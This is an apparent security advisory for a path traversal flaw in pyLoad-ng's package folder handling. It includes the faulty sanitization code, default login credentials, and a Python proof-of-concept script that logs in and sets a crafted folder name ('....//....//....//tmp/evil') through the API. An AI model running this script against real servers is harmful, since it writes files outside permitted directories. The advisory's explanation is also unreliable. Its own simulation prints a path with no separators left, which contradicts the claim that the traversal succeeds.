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CVE-2026-42314 is a medium severity vulnerability with a CVSS score of 6.5. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
src/pyload/core/api/__init__.pyadd_package()Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Check where files would be written:
| Vendor | Product |
|---|---|
| Pyload Ng Project | Pyload Ng |
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import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
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